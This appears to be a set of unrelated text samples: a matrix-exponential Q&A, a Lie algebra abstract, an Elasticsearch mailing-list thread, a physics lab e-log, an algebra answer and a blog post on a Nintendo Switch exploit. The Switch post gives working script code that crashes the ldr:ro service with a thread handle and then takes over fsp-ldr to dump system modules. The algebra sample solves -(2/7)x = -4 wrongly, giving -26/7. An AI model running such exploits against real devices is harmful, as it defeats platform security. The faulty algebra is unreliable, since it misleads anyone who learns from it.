text:
# Determine if a matrix is the exponential of a real matrix

I need to show if the following matrices are the exponential of a real matrix. $$A_1=\begin{bmatrix}-1 & 0 \\ 0 & -1\end{bmatrix}\\ A_2=\begin{bmatrix}-1 & 1 \\ 0 & -1\end{bmatrix}\\ A_3=\begin{bmatrix}-1 & 0 \\ 0 & -4\end{bmatrix}\\ A_4=\begin{bmatrix}-1 & -1\\ 0 & -1\end{bmatrix}\\ A_5=\begin{bmatrix}A_2& 0 \\ 0 & A_2\end{bmatrix}\\ A_6=\begin{bmatrix}A_2& I_2 \\ 0 & A_2\end{bmatrix}$$

I know the following results about the exponential of a matrix :

• $\exp(M_n(\mathbb{R}))=\{A\in Gl_n(\mathbb{R}),\exists B\in M_n(\mathbb{R}),A=B^2\}$
• $M$ is diagonalisable if and only if $\exp(M)$ is diagonalisable
• if $M$ is the exponential of a real matrix then the negative eigen values of $M$ have an even multiplicity

For the matrix $A_1$ I managed to show that the equation $A_1=B^2$ has a solution in $M_n(\mathbb{R})$, so $A_1$ is the exponential of a real matrix.
For the matrix $A_2$, I assume that the matrix is the exponential of a real matrix, $A_2=\exp(B)$, let $\lambda_1,\lambda_2$ the eigen values of $B$, then $e^{\lambda_1}=e^{\lambda_2}=-1$, then $\lambda_1,\lambda_2 \in i\pi+2i\pi\mathbb{Z}$. Two cases, if $\lambda_1=\lambda_2$, these two values are complex non real, so they are conjugated which is impossible, second case, then $B$ has two different eigen values, so $B$ is diagonalisable, which is impossible because $A$ is not diagonalisable. So $A$ is not the exponential of a real matrix.
For the matrix $A_3$, there are two negative eigen values of odd multiplicity so it can't be the exponential of a real matrix.
For the matrix $A_4$, I can apply the same reasoning than for $A_2$.

Apparently I should be able to prove that $A_5$ and $A_6$ are the exponential of real matrices. Is there an easier method to prove that than trying to solve the equation $A=B^2$. Also is there an universal method to prove this kind of result ?

Proof of the first fact.

Lemma : Let $M\in GL_n(\mathbb{C}), \exists P\in \mathbb{C}[X]$ such that $M=\exp(P(M))$.

With Dunford decomposition $M=D+N$, where $D,N$ are polynomials in $M$ and commute. Thus it exist $P$ a complex polynom such that : $$D=Pdiag(\lambda_1,\dots,\lambda_n)P^{-1}$$ The complex exponential is surjective thus $\forall i,\exists \nu_i$ such that $e^{\nu_i}=\lambda_i$. Let $Q$ the Lagrange polynomial such that $Q(\lambda_i)=\nu_i$. $$Q(D)=PQ(diag(\lambda_1,\dots,\lambda_n))P^{-1}=Pdiag(\nu_1,\dots,\nu_n)P^{-1}$$ $$\exp(Q(D))=Pdiag(e^{\nu_1},\dots,e^{\nu_n})P^{-1}=D$$. $Q(D)$ is a polynomial in $M$, so the lemma is true if the matrix is diagonalisable.
Also $M$ is invertible and $D$ has the same eigen values so $D$ is invertible. So $(D^{-1}N)^k=D^{-k}N^k$, $N$ is nilpotent so $D^{-1}N$ is also nilpotent. Thus : $$I_n+D^{-1}N=\exp(\sum_{k=1}^n \frac{(-1)^{k-1}}{k}(D^{-1}N)^k)$$ Also we have the characteristic polynomial $$\chi_D=(-1)^nX^n+\sum_{k=0}^{n-1}a_kX^k$$ $a_0\neq0$, because $D$ is invertible, so with Cayley-Hamilton theorem : $$D^{-1}=-\frac{1}{a_0}((-1)^nD^{n-1}+\sum_{k=1}^{n-1}a_kD^{k-1})$$ $D$ and $N$ are polynomials in $M$ so $\exists B\in \mathbb{C}[X]$ such that $I_n+D^{-1}N=\exp(B(M))$.
Finally : $$M=D(I_n+D^{-1}N)=\exp(A(M))\exp(B(M))=\exp((A+B)(M))$$ because $A(M)$ and $B(M)$ commute. The lemma is proved.

If we have $A=B^2$ with $B$ real, $\det(B)^2=\det(A)\neq0$, so $B$ is invertible. So with the lemma $\exists P \in \mathbb{C}[X]$ such that $B=\exp(P(B))$. $B$ is real so : $$A=\overline BB=\overline{\exp(P (B))}\exp(P(B))=\exp(\overline{P}(B))\exp(P(B))=\exp((\overline{P}+P)(B))$$ Because $\overline{P}(B)$ and $P(B)$ commute. The polynomial $\overline{P}+P$ is real, so $A\in \exp(M_n(\mathbb{R}))$

• But $A_1 = \pmatrix{0&-1\\1&0}^2$ – Ben Grossmann Feb 15 '17 at 16:23
• Do you know about Jordan canonical form? – Ben Grossmann Feb 15 '17 at 16:24
• I think you have much of the conceptual framework for this problem, but your reasoning above is hurried, and you may be rushing past solutions without seeing them. It is greatly preferred not to put so many separate problem parts into one Question as this discourages Readers from starting with the misconceptions encountered at the beginning. – hardmath Feb 15 '17 at 16:28
• Oh yes indeed I made a mistake with $A_1$. Yes I know the Jordan canonical form. – Bérénice Feb 15 '17 at 16:30
• I'm confused by your reasoning for $A_1$: why does $A_1 = B^2$ (for some real $B$) imply that $A_1$ is the exponential of a real matrix? Of course, the converse holds. – Ben Grossmann Feb 15 '17 at 17:21

$A$ is the exponential of a real matrix iff, in the Jordan form of $A$:
• When $\lambda$ is complex (non-real), the Jordan blocks of $\lambda$ are exactly the same as those associated with $\overline{\lambda}$
• When $\lambda$ is negative, any Jordan blocks associated with $\lambda$ appear twice
$A_5$ is already in Jordan form, so that's easy.
$A_6$ satisfies $$rk(A_6 + I) = 2,\\ rk(A_6 + I)^2 = 1,\\ (A_6 + I)^3 = 0$$ So, $A_6$ has Jordan form $$A_6 = \pmatrix{-1&1\\&-1&1\\&&-1\\&&&-1}$$ so, it is not the exponential of a real matrix.


text:
location:  Publications → journals → CJM
Abstract view

# Tensor Product Realizations of Simple Torsion Free Modules

Published:2001-04-01
Printed: Apr 2001
• D. J. Britten
• F. W. Lemire
 Format: HTML LaTeX MathJax PDF PostScript

## Abstract

Let $\calG$ be a finite dimensional simple Lie algebra over the complex numbers $C$. Fernando reduced the classification of infinite dimensional simple $\calG$-modules with a finite dimensional weight space to determining the simple torsion free $\calG$-modules for $\calG$ of type $A$ or $C$. These modules were determined by Mathieu and using his work we provide a more elementary construction realizing each one as a submodule of an easily constructed tensor product module.
 MSC Classifications: 17B10 - Representations, algebraic theory (weights)

format: plain


text:
# How do you solve -\frac { 2} { 7} x = - 4?

Mar 25, 2018

$x = - \frac{26}{7}$

#### Explanation:

$- \frac{2}{7} x = - 4$

$x = - 4 + \frac{2}{7}$ $\Leftarrow$ Isolating for x

$x = \frac{\left(- 4\right) \cdot 7}{7} + \frac{2}{7}$ $\Leftarrow$ Find the LCD

$x = \frac{- 28 + 2}{7}$

$x = - \frac{26}{7}$


text:
# Incrementing an integer field

(Frank LaRosa) #1

Hi,

Is there a more efficient way to increment an integer field besides
reading the entire document, updating the number, and re-indexing the
document?

Thanks,

Frank

This Discourse does not appear in Google?
(lukeforehand-2) #2

I believe you can do it with a script in the new release candidate:

specific issue:

-Luke

On Feb 8, 12:18 pm, Frank LaRosa fr...@studyblue.com wrote:

Hi,

Is there a more efficient way to increment an integer field besides
reading the entire document, updating the number, and re-indexing the
document?

Thanks,

Frank

(Frank LaRosa) #3

Thanks Luke. That looks extremely powerful indeed, if it works as

I'm somewhat curious as to how the server actually executes the script
-- I'm guessing that since ES is based on Lucene, it still has to read
and rewrite the entire document to the index. However, not having to
pass the document over the network is still a substantial benefit.

Frank

On Feb 8, 12:58 pm, lukeforehand lukeforeh...@gmail.com wrote:

I believe you can do it with a script in the new release candidate:

specific issue:http://github.com/elasticsearch/elasticsearch/issues/1583

-Luke

On Feb 8, 12:18 pm, Frank LaRosa fr...@studyblue.com wrote:

Hi,

Is there a more efficient way to increment an integer field besides
reading the entire document, updating the number, and re-indexing the
document?

Thanks,

Frank

(Shay Banon) #4

Yea, the document still needs to be reindexed (I explicitly stated it at the issue and in the guide, just to make sure ).

On Wednesday, February 8, 2012 at 10:45 PM, Frank LaRosa wrote:

Thanks Luke. That looks extremely powerful indeed, if it works as

I'm somewhat curious as to how the server actually executes the script
-- I'm guessing that since ES is based on Lucene, it still has to read
and rewrite the entire document to the index. However, not having to
pass the document over the network is still a substantial benefit.

Frank

On Feb 8, 12:58 pm, lukeforehand <lukeforeh...@gmail.com (http://gmail.com)> wrote:

I believe you can do it with a script in the new release candidate:

specific issue:http://github.com/elasticsearch/elasticsearch/issues/1583

-Luke

On Feb 8, 12:18 pm, Frank LaRosa <fr...@studyblue.com (http://studyblue.com)> wrote:

Hi,

Is there a more efficient way to increment an integer field besides
reading the entire document, updating the number, and re-indexing the
document?

Thanks,

Frank

(system) #5


text:
published on

# Intro

My finals being now a mere week away and myself just getting off the CCC I had a great idea, as always!

Working a bit on the Nintendo Switch.

For those unaware the 34C3 happened to host a talk about the Nintendo Switch, which led to an announcement from a modchip team of a new product ,rapidly answered by one of the speakers that was at the 34C3 giving a release date for an homebrew launcher followed by yet again another reaction from another team, showing off a coldboot exploit for the Switch.
Talk about a crazy week in this scene.

I won’t describe how to get Userland code execution on this blog as other people actually made very good summaries of the situation but if you would like to learn a bit more on WebKit exploitation you should read up this paper by phrack, this article on Google Project Zero this one on Pwn2Own 2017 or whatever you find on Google, really, if there’s one thing WebKit isn’t missing, it is security issues.

# Crashing ldr

But enough talking about that, let us jump to the meat of the subject. Let’s assume we got enough access to talk to the services. The talk I referenced earlier explained a now very known flaw in the switch security, dubbed affectuously sm:h, which gives you full access to services if you don’t initialize it, allowing for a wider surface attack. While this was publicly known for a while, the next part of the talk was actually a bit more interesting: the talk has shown two methods to dump system modules: one through pl:u, allowing you to dump ns, which was publicly known for a very long time too, and another through fsp-ldr, allowing you to dump all the System modules not built-in in the kernel.
The core idea of this exploit is that fsp-ldr is used to load up in memory the code of the System Modules by the kernel, so if we took it over we could theorically dump all the said modules! While sm:h gives us full control over services, the kernel still only enforces one session at a time to be able to load up the said code, to avoid this kind of scenario.
That was without counting another bug.
What the kernel forgot was that if you crashed the module that took care of fsp-ldr, its handle would be released and so you could have another session of the said service running.

That means we need to crash a higher privileged service? Sounds doable.
Indeed, following the talk, they were able to crash the ldr:ro service to release a session of fsp-ldr, allowing us to mount the sysmodules and dump them at will! While they told us they used a thread handle to crash the service they did not gave us much more detail and that’s where things get a bit interesting!

Let me walk you through the way I did that.

var ldrro_mng_ptr = utils.add2(sc.mainaddr, 0x955558);

The first thing to know is that we need to get the ldr:ro handle that WebKit is using as otherwise the bug won’t happen by trying another handle.

sc.ipcMsg(4).datau64(0).sendPid().copyHandle(0xffff8000).sendTo(ldrro);

We then initialize the ldr:ro service using a Thread Handle, 0xffff8000, instead of the usual Process Handle, 0xffff8001. It’s a key part to the bug but we still have to do a bit more before getting to it.

sc.ipcMsg(2).datau64(0, nrrbase, nrrSize).sendPid().sendTo(ldrro);

As the LoadNro function requires a Nrr to be loaded in memory, to use the LoadNro function we have to setup LoadNrr with dummy values.

sc.ipcMsg(0).datau64(0, nrobase, nroSize, utils.add2(nrobase, nroSize), bssSize).sendPid().sendTo(ldrro);

We call the LoadNro and…it crashes! As simple as that.
As for the why though, when we call Initialize, svcGetProcessInfo is called, which is falsely assumed to take an input as a process handler, but can really deal with Thread Handles. The Initialization function then goes on, as if nothing happened until you call the LoadNro command which calls svcMapProcessCodeMemory, service which takes only a process handle as input and not a thread handle. This triggers a crash in the ldr module, releasing the fsp-ldr just enough for us to start a session.

# Dumping the modules

So now that we crashed ldr:ro we should just have to mount sysmodules and dump them, right? Well almost, but not quite.

sc.getService("fsp-ldr", (hndle) => {
sc.getService("lr", (lripc) => {
var lr = sc.ipcMsg(0).data(3).sendTo(lripc);

First of all we get a handle to fsp-ldr, as said before, but we then have to get a handle to the LocationResolver service and retrieve an ILocationResolver of type 3, being NandSystem.

sc.withHandle(lr.movedHandles[0], (content) => {
var buf = new ArrayBuffer(0x300);

We create a new buffer to store the contentPath received using a C Descriptor(check IPC Marshalling in the Resources section)

var fs =sc.ipcMsg(0).datau64(utils.parseAddr(module)).xDescriptor(buf).sendTo(loader).assertOk();

And we finally mount our code! Now this is over right, there should be nothing left to do? Well ALMOST. What we receive is an IFileSystem, not raw content, so we’ll have to dump the content of this FileSystem to retrieve the sysmodules.

var fs = new sc.IFileSystem(sc, storage);
var path = utils.str2ab('/');
var res = sc.ipcMsg(9).datau64(3).xDescriptor(path, path.byteLength, 0).sendTo(storage);
var dir = new sc.IDirectory(sc, '/', res.movedHandles[0], fs);
dir.DirDump(name);

While I’m using helpful handlers in that case so as to not manually have to do my own dumping code, I believe this is sufficiently clear to not require further explaination.

And…

00000000: 4e53 4f30 0000 0000 0000 0000 3f00 0000  NSO0........?...
00000010: 0101 0000 0000 0000 74af 1000 0001 0000  ........t.......
00000020: 7ef1 0800 00b0 1000 5c93 0a00 0100 0000  ~.......\.......
00000030: 61d6 0c00 0050 1b00 408e 0900 c031 0401  a....P..@....1..
00000040: 7c7b 8934 f26c 93bc a6de 7853 6b37 3a6c  |{.4.l....xSk7:l
00000050: 93bb 4bd0 0000 0000 0000 0000 0000 0000  ..K.............
00000060: 7df0 0800 e3e4 0300 d47e 0000 0000 0000  }........~......
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 08f2 0200 7eab 0000 f8cb 0200 1026 0000  ....~........&..
000000a0: 376f 1903 1418 5f0e 966d e80a d754 9c6e  7o...._..m...T.n

We have the system modules dumped!

# Implementation

Here is the script I used. It works on 2.0, definitely not on 3.0+, unsure about below as the ldr:ro pointer might need to be updated.

var modules ={
'usb' : '0100000000000006',
'tma' : '0100000000000007',
'boot2': '0100000000000008',
'settings' : '0100000000000009',
'bus' : '010000000000000A',
'bluetooth' : '010000000000000B',
'bcat' : '010000000000000C',
'friends': '010000000000000E',
'nifm': '010000000000000F',
'ptm': '0100000000000010',
'bsdsockets': '0100000000000012',
'hid': '0100000000000013',
'audio': '0100000000000014',
'LogManager.Prod' : '0100000000000015',
'wlan' : '0100000000000016',
'ldn' : '0100000000000018',
'nvservices' : '0100000000000019',
'pcv' : '010000000000001A',
'ppc' : '010000000000001B',
'nvnflinger' : '010000000000001C',
'pcie.withoutHb' : '010000000000001D',
'account' : '010000000000001E',
'ns' : '010000000000001F',
'nfc' : '0100000000000020',
'psc' : '0100000000000021',
'capsrv' : '0100000000000022',
'am' : '0100000000000023',
'ssl' : '0100000000000024',
'nim' : '0100000000000025',
'lbl' : '0100000000000029',
'btm' : '010000000000002A',
'erpt' : '010000000000002B',
'vi' : '010000000000002D',
'pctl' : '010000000000002E',
'npns' : '010000000000002F',
'eupld': '0100000000000030',
'glue' : '0100000000000031',
'eclct' : '0100000000000032',
'es' : '0100000000000033',
'fatal' : '0100000000000034',
'creport' : '0100000000000036',

};
//We need a ILocationResolver to pass to fsp to say what we are reading so we're getting a handle
sc.getService("lr", (lripc) => {
//3 is the StorageID for NAND System
var lr = sc.ipcMsg(0).data(3).sendTo(lripc);
sc.withHandle(lr.movedHandles[0], (content) => {
//We are getting our ContentPath needed for fsp, c being the "receiving" buffer
var buf = new ArrayBuffer(0x300);

//We are now mounting our code region
sc.withHandle(fs.movedHandles[0], (storage) => {
//utils.log('Got IFileSystem handle: 0x'+ storage.toString(16));
var fs = new sc.IFileSystem(sc, storage);
//I wasn't able to use the OpenDir built-in of reswitched, it seems to be broken, so I created my own instance of IDirectory
var path = utils.str2ab('/');
var res = sc.ipcMsg(9).datau64(3).xDescriptor(path, path.byteLength, 0).sendTo(storage);
var dir = new sc.IDirectory(sc, '/', res.movedHandles[0], fs);
//DUMP ALL THE THINGS
dir.DirDump(name);
});
});
});
}

utils.log("stage1, getting webkit ldr:ro handle");
//We are reusing WebKit's ldr:ro session
//utils.log('ldr:ro management str base ptr is: ' + utils.paddr(ldrro_mng_ptr));
//utils.log('ldr:ro management str base is: ' + utils.paddr(ldrro_mng));
//utils.log('ldr:ro handle is: 0x' + ldrro[0].toString(16));

utils.log("stage2, connecting to ldr:ro");

//Most of what's below is unecessary but we needed to setup a fake nrr in memory through
var nrobase = sc.malloc(0x1000 + 0xfff);
var nrrbase = sc.malloc(0x1000 + 0xfff);
var nrrSize = 0x1000;
var nroSize = 0x1000;
var bssSize = 0x900;

//We initialize with a Thread Handle, 0xffff8000 instead of current process handle, 0xffff8001
sc.ipcMsg(4).datau64(0).sendPid().copyHandle(0xffff8000).sendTo(ldrro);
sc.ipcMsg(2).datau64(0, nrrbase, nrrSize).sendPid().sendTo(ldrro);

utils.log("stage3, crashing ldr:ro");
//Just calling a normal cmd0 will crash since it will call svcMapProcessCodeMemory during LoadNro sequence using a
//thread handle, attempting a process handle. This happens because svcGetProcessInfo in ldr:ro initialize can also take up
//a Thread Handle as an argument, while svcMapProcessCodeMemory will bug out on it
sc.ipcMsg(0).datau64(0, nrobase, nroSize, utils.add2(nrobase, nroSize), bssSize).sendPid().sendTo(ldrro);

utils.log("stage4, connecting to fsp");

sc.getService("fsp-ldr", (hndle) => {
//utils.log("Got an handle to fsp: 0x" +hndle.toString(16));
utils.log("stage5, dumping sysmodule");
for (var name in modules) {
utils.log("dumping " + name);
try {
dumpModule(modules[name], hndle, name);
}
catch (e) {
}
}
});

# References

http://switchbrew.org/ for the documentation on the IPC commands using during the whole article.
https://reswitched.github.io/SwIPC/ for complementary documentation about the format of some arguments.
https://github.com/reswitched/PegaSwitch for the tool I used to interact with my console through ROP.
To Reverse Engineer such commands you would have to check webkit, or whatever you had access to, binary and hope to find something useful or get yourself a copy of the SDK provided by the manufacturer, as they are after all a development platform, so needless to say the documentation was very much appreciated.


text:
40m QIL Cryo_Lab CTN SUS_Lab TCS_Lab OMC_Lab CRIME_Lab FEA ENG_Labs OptContFac Mariner WBEEShop
 40m Log, Page 344 of 344 Not logged in
 New entries since: Wed Dec 31 16:00:00 1969
ID Date Author Type Category Subject
17305   Wed Nov 23 16:34:33 2022 KojiUpdateCDSNew donatella testing

Let's use this entry to list of the test results of new donatella.

• Firefox - OK (typing elog now)
• sitemap - OK
• Diaggui (DTT) looks working fine for the current and past data
• Dataviewer looks working fine for the current and past (slow/fast) data
• ndscope - fine
• foton - works fine
• burtgooey - ?
17306   Wed Nov 23 17:12:34 2022 RadhikaUpdateALSXARM green laser lock debugging

I tested the mixer by feeding it a 300 kHz signal sourced from a Moku:Go. I kept the LO input the same - 231.25 kHz from the signal generator. The mixer output was a ~70 kHz waveform as expected, so demodulation is not the issue in green locking.

Next I'll align the arm cavities with IR and check to see if the green REFL signal looks as expected. If not, we'll have to invesitage the REFL PD. If the signal looks fine, and we now know it's being properly demodulated, the issue must lie further downstream.

17307   Wed Nov 23 17:21:44 2022 JCUpdateVACInterlocks may have been tripped due to N2 pressure loss

[Paco, JC]

While changing out one of the N2 tanks today, one of the fitting stripped. This caused a major loss of pressure. I replaced one fitting then realized there was a second leak around the area of the gauge. Paco and I changed this and everything should be back up and running. Thhe interlocks may have been tripped  within the last 2 hours.

17308   Wed Nov 23 17:28:39 2022 YehonathanUpdateBHDSome more calculations

Fields at the BHD BS. More on this later.

17309   Wed Nov 23 20:58:23 2022 yutaSummaryBHDBHD_DIFF sensitivity to BS dither with MICH Offset with different BH55 demodulation phases

[Anchal, Paco, Yuta]

Attachment #1 is the same plot as 40m/17303 but with MICH sensitivity for ASDC and AS55 also included (in this measurement, BH55 demodulation phase was set to 140.07 deg to minimize I fringe).
Y-axis is now calibrated in to counts/m using BS actuation efficiency 26.54e-9 /f^2 m/counts (40m/17285) at 311.1 Hz.
2nd X-axis is calibrated into MICH offset using the measured AS55_Q value and it's MICH sensitivity, 8.81e8 counts/m (this is somehow ~10% less than our usual value 40m/17294).
ASDC have similar dependence with BHDC_SUM on MICH offset, as expected.
AS55_Q have little dependence with MICH offset on MICH offset, as expected.

This plot tells you that even a small MICH offset at nm level can create MICH sensitivity for BHDC_DIFF, even if we control LO phase to have BH55_Q to be zero, as MICH offset shifts zero crossing of BH55_Q for LO phase.

Notebook: /opt/rtcds/caltech/c1/Git/40m/scripts/CAL/BHD/BH_DIFFSens_pydemod.ipynb

Attachment #2 is the same plot, but BH55 demodulation phase was tuned to 227.569 deg to have no MICH signal in BH55_Q (a.k.a measurement (c)).
In this case, LO phase will be always controlled at 0 deg (90 deg away from optimal), even if we change the MICH offset, as BH55_Q will not be sensitive to MICH.
In this plot, BHD_DIFF have little sensitivity to MICH, irrelevant of MICH offset, as expected.
MICH sensitivity for BH55_I is also constant, which indicate that LO phase is constant over this measurement, as expected.

Notebook: /opt/rtcds/caltech/c1/Git/40m/scripts/CAL/BHD/BH_DIFFSens_pydemod.ipynb

Attachment #3 is the same plot, but BH55 demodulation phase was tuned to 70 deg.
This demodulation phase was tuned within 5 deg to maximize MICH signal in BHD_DIFF with large MICH offset (20).
In this case, LO phase will be always controlled at 90 deg (optimal), even if we change the MICH offset, as BH55_Q will not be sensitve to LO carrier x AS sideband component of the LO phase signal.
In this plot, BHD_DIFF have high sensitivity to MICH, irrelevant of MICH offset (at around zero MICH offset it is hard to see because LO_PHASE lock cannot hold lock, as there will be little LO phase signal in BH55_Q, and measurement error is high for BHD_DIFF and BH55 signals).
MICH sensitivity for BH55_I and BH55_Q is roughly constant, which indicate that LO phase is constant over this measurement, as expected.

These plots indicate that BH55 demodulated at MICH dither frequency can be used to control LO phase robustly at 90 deg, under unknown or zero MICH offset.

Notebook: /opt/rtcds/caltech/c1/Git/40m/scripts/CAL/BHD/BH_DIFFSens_pydemod.ipynb

LO phase delay:
From these measurements of demodulation phases, I guess we can say that phase delay for 55 MHz in LO path with respect to MICH path (length difference in PR2->LO->BHDBS and PR2->ITMs->AS->BHDBS) is

2*(227.569-70(5)-90)-90 = 45(10) deg

This means that the length difference is (omegam=5*2*pi*11.066195 MHz)

c * np.deg2rad(45(10)+360) / omegam = 6.1(2) m   (360 deg is added to make it close to the design)

Is this consistent with our design? (According to Yehonathan, it is 12.02 m - 5.23 m = 6.79 m)

Attachment #4 illustrates signals in BH55.

Next:
- Lock LO PHASE with BH55 demodulated at MICH dither frequency (RF+audio double demodulation), and repeat the same measurement
- Finer measurement at small MICH offsets (~1nm) to see how much MICH offset we have
- Repeat the same measurement with BH55_Q demodulation phase tuned everytime we change the MICH offset to maximize LO phase sensitivity in BH55_Q (a.k.a measurement (b)).
- What is the best way to tune BH55 demodulation phase?

17310   Thu Nov 24 11:23:35 2022 AnchalUpdateSUSLow noise state

I've turned off HEPA fan and all lights at
PST: 2022-11-24 11:23:59.509949 PST
UTC: 2022-11-24 19:23:59.509949 UTC
GPS: 1353353057.509949

c1ioo model has been updated to acquire C1:IOO-MC2_TRANS_PIT_OUT  and C1:IOO-MC2_TRANS_YAW_OUT at 512 Hz rate.

I'll update when I turn the HEPA on again. I plan to turn it on for a few hours everyday to keep the PSL enclosure clean.

Turned on HEPA again at:

PST: 2022-11-25 12:14:34.848054 PST
UTC: 2022-11-25 20:14:34.848054 UTC
GPS: 1353442492.848054

However this was probably not a low noise state due to vacuum disruption mentioned here.

17311   Thu Nov 24 15:37:45 2022 AnchalUpdateASCIMC WFS output matrix diagonalization effort

I tried following the steps and the method I was using converged to same output matrix upto 2 decimal points but there is still left over cross coupling as you can see in Attachment 1. With the new output matrix, WFS loop can be turned on with full overall gain of 1.

### Changes:

• I switched off +20dB FM2 on C1IOO-WFS1_PIT and increased gain C1:IOO-WFS1_PIT_GAIN from 0.1 to 1 to be uniform with other filters.
• Output matrix change:
• Old matrix:
-2.   4.8 -7.3
3.6  3.5 -2.
2.   1.  -6.8
• New Matrix:
3.44  4.22 -7.29
0.75  0.92 -1.59
3.41  4.16 -7.21
• I think the main change that allowed the WFS loop to become stable was the 0,0 element sign change.

### Method:

• I made overall gain C1:IOO-WFS_GAIN 0
• Switched of (0:0.8) FM3 on PIT filter modules (IOO-WFS1_PIT, IOO-WFS2_PIT, IOO-MC2_TRANS_PIT)
• Changed ramp time to 2 seconds on all these modules
• Used offset of 10000 for WFS2 and MC2_TRANS, and 30000 for WFS1 (for some reason, response to WFS1 step was much lower than others)
• Measured the following sensor channels
• C1:IOO-WFS1_I_PIT_OUT
• C1:IOO-WFS2_I_PIT_OUT
• C1:IOO-MC_TRANS_PIT_OUT
• First I took 30s average of these channels, then applied the offsets in the three modules one by one and recorded steps in each sensor.
• Measured step from reference value taken before, and normalized each step to the DOF that was actually stepped to get a matrix.
• Inverted this matrix and multiplied with existing output matrix. Made sure column norm1 is same as before and column signs are same as before.
• Repeated a few times.

Note: The standard deviation on the averages was very high even after averaging for 30s. This data should be averaged after low passing high frequencies but I couldn't find the filter module medm screens for these signals, so I just proceeded with simple averaging of full rate signal using cdsultis avg command.

Fri Nov 25 12:46:31 2022

The WFS loop are unstable again. This could be due to the matrix balancing done while vacuum was disrupted. The above matrix does not work anymore.

17312   Fri Nov 25 12:15:46 2022 AnchalUpdateVACVacuum Gate valves restored

I came today to find that PSL shutter was closed. I orginially thought some shimmer obersvations are underway in the quiet state. But that was not the case. When I tried to open the shutter, it closed back again indicating a hard compliance condition making it close. This normally happens when vacuum level is not sufficient, so I opened the vacuum screena dn indeed all gate valves were closed. This most probably happend during this interlock trip. So the main volume was just slowly leaking and reached to milli torr level today.

Lesson for future: Always check vacuum status when interlock trips.

[Paco, Anchal]

Paco came by to help. We went to asia (the Asus laptop at vacuum workstation) but could not open the medm or find the nfs mounted files. The chiara change did something and nfs mounted directories are not available on asia of c1vac. We rebooted asia and the nfs mount was working again. We can't simply restart c1vac because it runs acromag channels for vacuum system and needs to be done more carefully, a task for Monday.

After restarting asia, we opened the the vacuum control medm screen and followed the vaccum pump down instructions (mainly opening of the gate vales as the pumps were already on). Point to keep in mind, rule of thumb, do not open valve between a turbo pump and a volume if the pressure differential is more than 3 orders of magnitude. Saving turbo pumps is the priority.. Now the main volume is pumping down.

17313   Fri Nov 25 15:35:23 2022 AnchalUpdateSUSLow noise state

Turned off HEPA at:

PST: 2022-11-25 15:34:55.683645 PST
UTC: 2022-11-25 23:34:55.683645 UTC
GPS: 1353454513.683645

Turned on HEPA back at:

PST: 2022-11-28 11:14:31.310453 PST
UTC: 2022-11-28 19:14:31.310453 UTC
GPS: 1353698089.310453

17314   Sun Nov 27 15:30:22 2022 ChrisUpdateOptimal ControlIMC alignment controller testing

Five more mode cleaner alignment controllers were tested this morning (remotely). These were designed to run in tandem with the standard controller, instead of supplanting it. Before the test, c1ioo was burt restored back to the settings of the previous test on Oct 28, and in MC TRANS PIT/YAW filter banks the 80 dB gain filters were disengaged and outputs were enabled. Subsequently, all settings were returned to the original values. Each test consisted of five minutes with pitch alignment uncontrolled, five minutes with the standard controller only, and twenty minutes with both controllers enabled. GPS times for each phase of testing are the following:

• musgo
• OL start 1353602764
• CL start 1353603074
• policy start 1353603410
• musgo_ghost
• OL start 1353604697
• CL start 1353605007
• policy start 1353605355
• musgo_stumble
• OL start 1353606574
• CL start 1353606884
• policy start 1353607229
• musgo_goldfish
• OL start 1353608446
• CL start 1353608756
• policy start 1353609099
• musgo_late
• OL start 1353610321
• CL start 1353610631
• policy start 1353610971
17315   Mon Nov 28 11:15:23 2022 AnchalUpdateCDSFront ends DAC Kill (DK) got activated; restored FEs

[Anchal, Paco, Yehonathan, JC]

Last night at 9:15 pm PST (Nov 27th, 2022) some kind of disruption happened to FEs. See attachment 1 to see the changes in FE state words of the IOP models. on c1lsc, c1sus and c1scex, change of 140 happend, that's 2nd, 3rd and 7th bit of the FE word was flipped, which I think is the TIM, ADC and DAC KILL (DK). When we came in morning, IMC suspensions were undamped and not responsive to coil kicks, vertex suspensions the same case, ETMX also same. The c1sus2 modelw as all in red.

To fix this, we restarted all rtcds models on all FEs by sshing into the computers and doing:

rtcds restart --all

Then we burt restored all models to 27th Nov, 3:19 am point doing following on rossa:

~>cd /opt/rtcds/caltech/c1/Git/40m/scripts/cds
cds (main)>./burtRestoreAndResetSUS.sh /opt/rtcds/caltech/c1/burt/autoburt/snapshots/2022/Nov/27/03:19

Note: this issue was previously seen when fb1 was restarted without shutting down the FEs, and once when the martian switch was disrupted while FE models were running.

I'm not sure why this happened this time, what caused it at 9:15 pm yesterday, and why only c1lsc, c1sus and c1iscex models went to DAC KILL state. This disruption should be investigated by cds upgrade team.

17316   Mon Nov 28 11:21:25 2022 JCUpdatePSLPMC input beam alignment

C1:PSL-PMC_PMCTRANSPD was increased from 0.72 to 0.731

17317   Mon Nov 28 16:53:22 2022 AnchalSummaryBHDF2A filters on LO1 LO2 AS1 and AS4

[Paco, Anchal]

I changed the script in /opt/rtcds/caltech/c1/Git/40m/scripts/SUS/outMatFilters/createF2Afilters.py to read the measured POS resonant frequencies stored in /opt/rtcds/caltech/c1/Git/40m/scripts/SUS/InMatCalc/resFreqs.yml instead of using the estimate sqrt(g/len). I then added Q = 3 F2A filters into FM1 output filter of LO1, LO2, AS1 and AS4 suspensions in anticipation of BHD locking scheme work.

17318   Mon Nov 28 16:58:20 2022 PacoUpdateCDSpypi package added

[Paco, Tega]

I added the pypi package "restoreEpics" to the donatella clone under test. This is required by some of Anchal's scripts that turn on F2A filters as well as other recovery stages during some measurements.

17319   Mon Nov 28 18:21:50 2022 PacoSummaryBHDBH44 prep

I checked the LSC rack to evaluate what we might need to generate 44 MHz rf in the hypothetical case we go from BH55 to BH44 (a.k.a. double RF demod scheme). There is an 11 MHz LO port labeled +16 dBm (measured 9 Vpp ~ 23 dBm actually) on the left hand side. Furthermore, there is an unused 55 MHz port labeled "Spare 55 LO". I checked this output to be 1.67 Vpp ~ +8.4 dBm. Anyways the 55 MHz doesn't look very nice; after checking it on the spectrum analyzer it seems like lower frequency peaks are polluting it so it may be worth checking the BH55 LO (labeled REFL 55) signal to see if it's better. Anyways we seem to have the two minimum LOs needed to synthesize 44 MHz in case we move forward with BH44.

[Paco, Yuta]

